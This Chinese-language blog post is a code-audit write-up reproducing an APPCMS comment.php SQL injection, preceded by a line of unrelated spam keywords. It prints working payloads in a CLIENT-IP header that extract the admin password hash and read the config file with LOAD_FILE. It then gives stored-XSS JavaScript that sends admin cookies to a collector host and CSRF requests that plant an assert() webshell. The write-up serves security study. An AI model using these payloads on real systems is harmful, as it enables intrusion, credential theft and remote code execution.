网站哪家做的好,长春火车站在哪,谷歌搜索引擎怎么才能用,湖南省住房和城乡建设网站0x01 背景由若水师傅提供的一个素材#xff0c;想要复现CNVD上披露的一个APPCMS的漏洞#xff0c;由CNVD上的描述可以知道存在漏洞的地方是comment.php这个文件#xff0c;然后就没有详细的漏洞信息了#xff0c;所以就需要分析相应的源码文件找出存在漏洞的点。借这个素材…0x01 背景由若水师傅提供的一个素材想要复现CNVD上披露的一个APPCMS的漏洞由CNVD上的描述可以知道存在漏洞的地方是comment.php这个文件然后就没有详细的漏洞信息了所以就需要分析相应的源码文件找出存在漏洞的点。借这个素材捡起下代码审计的各种感觉。期待一起学习期待和师傅们各种交流讨论。官方站点http://www.appcms.cc/漏洞详情地址http://www.cnvd.org.cn/flaw/show/CNVD-2017-138910x02 审计过程1. Thinking的心历路程本篇是个事后总结是在审计过程中逐步思考利用然后达到预期的目的。先是进行了代码审计清楚了造成的漏洞的位置开始先获得了用户名是admini密文密码77e2edcc9b40441200e31dc57dbb8829安全码123456但是并无法得到后台地址经过思考分析便想到利用2次漏洞进行XSS打到后台地址和cookie在深入些便是和CSRF结合得到shell这便是我的心历路程。以下先说说代码审计部分。(1)寻找漏洞位置打开comment.php文件通读comment.php文件中的代码并跟踪数据的传递过程。CNVD上说的是一个SQL注入漏洞所以可以先关注comment.php文件中涉及SQL操作的代码。comment.php文件第80行-86行目测query_update,single_insert存在SQL操作进行SQL拼接的是TB_PREFIX$fields[parent_id]和$fields。1.//comment.php文件第80行-86行2. if ($fields[parent_id] ! 0) {3. $ress $dbm - query_update(UPDATE . TB_PREFIX . comment SET son son 1 WHERE comment_id {$fields[parent_id]});4. }5. $res $dbm - single_insert(TB_PREFIX . comment, $fields);其中TB_PREFIX在\core\config.conn.php进行了define(TB_PREFIX, appcms_);定义所以不用管TB_PREFIX。$fields[parent_id]在第73行$fields[parent_id] $page[post][parent_id];if(!is_numeric($fields[parent_id])) die();进行了数据类型的判断所以也不能利用。$fields是由自定义方法function m__add()创建的一个数组再将$page数组中关键的信息赋给$fields而$page拥有所有POST和GET的数据在 m__add()自定义方法中可控的数据$fields[id]$fields[type]$fields[parent_id]必须是数字类型所以无法利用剩下$fields[uname] ,$fields[content],$fields[ip],后面经过测试和数据跟踪的过程$fields[ip]是一个可控制并可注入的点。1.//comment.php文件第29-30行2.$page[get] $_GET; //get参数的 m 和 ajax 参数是默认占用的一个用来执行动作函数一个用来判断是否启用模板还是直接输出JSON格式数据3.$page[post] $_POST;1.//comment.php文件第57-86行2.function m__add() {3. global $page, $dbm, $c;4.5. $fields array();6. foreach($page[post] as $key $val) {7. $page[post][$key] htmlspecialchars(helper :: escape($val));8. }9. if (empty($page[post][comment])) {10. die({code:1,msg:发表内容不能为空});11. }12. $code md5(strtoupper($page[post][code]));13. if ($code ! $_SESSION[feedback]) {14. die({code:140,msg:验证码错误});15. }16. $fields[id] $page[post][id];if(!is_numeric($fields[id])) die();17. $fields[type] $page[post][type];if(!is_numeric($fields[type])) die();18. $fields[parent_id] $page[post][parent_id];if(!is_numeric($fields[parent_id])) die();19. $content $c - filter_words($page[post][comment]);20. $fields[content] helper :: utf8_substr($content, 0, 300);21. $user $c - filter_words($page[post][user], user);22. $fields[uname] helper :: utf8_substr($user, 0, 10);23. $fields[date_add] time();24. $fields[ip] helper :: getip();25. if ($fields[parent_id] ! 0) {26. $ress $dbm - query_update(UPDATE . TB_PREFIX . comment SET son son 1 WHERE comment_id {$fields[parent_id]});27. }28. $res $dbm - single_insert(TB_PREFIX . comment, $fields);29. if (empty($res[error]) empty($ress[error])) die({code:0,msg:恭喜发表成功});30. die({code:1,msg:发表失败 . $ress[error] . });31.}之所以得到如上的结论第一个是在跟进single_insert方法的时候在改方法中将$fields数组中的值使用foreach进行组合后传入$sql中没有经过任何处理。1.//core/database.class.php第102-120行代码块2. public function single_insert($table_name, $fields) {3. if (!is_array($fields) || count($fields) 0) return array(sql , error 插入失败插入字段为空, sql_time 0, autoid 0);4.5. $sql_field ;6. $sql_value ;7. // 遍历字段和值8. foreach($fields as $key $value) {9. $sql_field . ,$key;10. $sql_value . ,$value;11. }第二个跟进$fields[ip] helper :: getip();的getip()方法发现获取的方式中有一项是CLIENT-IP这种方式可以通过客户端进行IP伪造。1.//core/help.class.php文件的第47-57行2. public static function getip() {3. $onlineip ;4. if (getenv(HTTP_CLIENT_IP) strcasecmp(getenv(HTTP_CLIENT_IP), unknown)) {5. $onlineip getenv(HTTP_CLIENT_IP);6. } elseif (getenv(REMOTE_ADDR) strcasecmp(getenv(REMOTE_ADDR), unknown)) {7. $onlineip getenv(REMOTE_ADDR);8. } elseif (isset($_SERVER[REMOTE_ADDR]) $_SERVER[REMOTE_ADDR] strcasecmp($_SERVER[REMOTE_ADDR], unknown)) {9. $onlineip $_SERVER[REMOTE_ADDR];10. }11. return $onlineip;12. }因此$fields[ip]的值满足用户可控且数据未经过安全处理直接拼接传入SQL语句造成了insert注入。为了方便查看和构造payload我在/core/database.class.php文件的single_insert方法的117行加入echo $sql;方便查看SQL语句又由于这个CMS的存在失效的图片验证所以可以轻松的使用burpSuite进行注入获取数据。(2)构造payload获取用户名密码接下来构造PAYLOAD这个位置是insert注入但是并不会报SQL的错误所以无法使用报错注入在师傅们的指导提醒下发现可以直接使用insert将注入查询到的结果回显到前台中由于这个是个评论功能那么展示的位置是content,uname,date_add,ip这4个位置。可以直接使用如下的语句将查询结果插入到content和uname然后回显到前台的用户名和回复内容位置。PAYLOAD:CLIENT-IP:10.10.10.1),(1,0,0,(select upass from appcms_admin_list where uid 1),(select uname from appcms_admin_list where uid 1),1510908798,1)#(3)构造payload获取安全码此时就获得到站点的用户名和密码接下来要获取安全码这里使用mysql的load_file()来读取\core\config.php文件安全码等敏感信息就在该文件里面。可以使用去掉payload后面的#导致报错等方式得到网站的绝对路径因为在\core\init.php中默认开启了错误提示所以可以利用错误信息得到绝对路径。得到绝对路径便可以使用load_file()去读取\core\config.php文件中的安全码了但是这里content列是使用varchar然后长度是500所以直接使用load_file()是无法获得安全码的因此使用了substr进行了截断截断范围大致是 从480开始 然后截断400个字符长度此处没有进行了预测没有精准计算但是已经将安全码写到content列中了。PAYLOAD:CLIENT-IP:10.10.10.1),(1,0,0,(SUBSTR(LOAD_FILE(D:\\soft\\phpStudy\\WWW\\APPCMS\\core\\config.php), 480 , 400)),thinking,1510908798,123456)#此时已经得到用户名是admini密文密码77e2edcc9b40441200e31dc57dbb8829安全码123456但是APPCMS安装完毕后强制更改后台地址所以就是拿到这3个敏感信息也难以登录后进行其他操作。2. Thinking的心历路程以上通过代码审计已经分析了CNVD上该版本的APPCMS漏洞产生的整个过程接下来是对这个漏洞进行进阶研究和学习。所先这种insert注入将用户可控的数据直接写到数据库中极大的可能还会造成2次漏洞本小节利用insert注入直接进行存储型XSS打后台且使用CSRF在添加模块的地方进行写马操作。(1)XSS注入测试常规测试 忽略 :!)(2)打COOKIE平台这里我使用的蓝莲花团队的xss平台。PAYLOAD构造这里我对内容进行的修改添加了两个请求一个是创建文件的请求一个是为文件添加内容的请求。1.//获取站点的关键信息2.var websitehttp://127.0.0.1/xsser;3.(function(){(new Image()).srcwebsite/?keepsession1locationescape((function(){try{return document.location.href}catch(e){return}})())toplocationescape((function(){try{return top.location.href}catch(e){return}})())cookieescape((function(){try{return document.cookie}catch(e){return}})())openerescape((function(){try{return(window.openerwindow.opener.location.href)?window.opener.location.href:}catch(e){return}})());})();4.5.function csrf_shell()6.{7.//创建文件名为evil.php的文件8.var xmlhttp1new XMLHttpRequest();9.xmlhttp1.open(POST,./template.php?mcreate_file,true);10.xmlhttp1.setRequestHeader(Content-type,application/x-www-form-urlencoded);11.xmlhttp1.send(filenameevil.php);12.13.//在evil.php文件中写入一句话14.var xmlhttp2new XMLHttpRequest();15.xmlhttp2.open(POST,./template.php?msave_edit,true);16.xmlhttp2.setRequestHeader(Content-type,application/x-www-form-urlencoded);17.xmlhttp2.send(filenameevil.phpcontent%3C%3Fphpassert%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E);18.};19.csrf_shell();(3)测试是否利用成功配置好后进行如下请求此时后台会生成一条评论记录。模拟管理员登录后台使用burpload进行跟踪发现创建了evil.php文件并为文件写入一句话证明成功执行了刚才配置好的脚本然后还将站点的信息包括登录信息等也发给了目标系统。此时便收到打回来的COOKIE信息了而对对应的shell地址便是http://127.0.0.1/APPCMS/templates/default/evil.php0x03 小小总结本篇获取后台的方法我就想到了XSS本想使用报错的方式但发现前台并无数据和后台进行交互所以没想到怎么在前台引发报错报出后台地址所以就采用SQL注入XSSCSRF直接getShell了。如果师傅们有更好的思路期待讨论交流感谢若水师傅提供的素材感谢各位师傅的指导。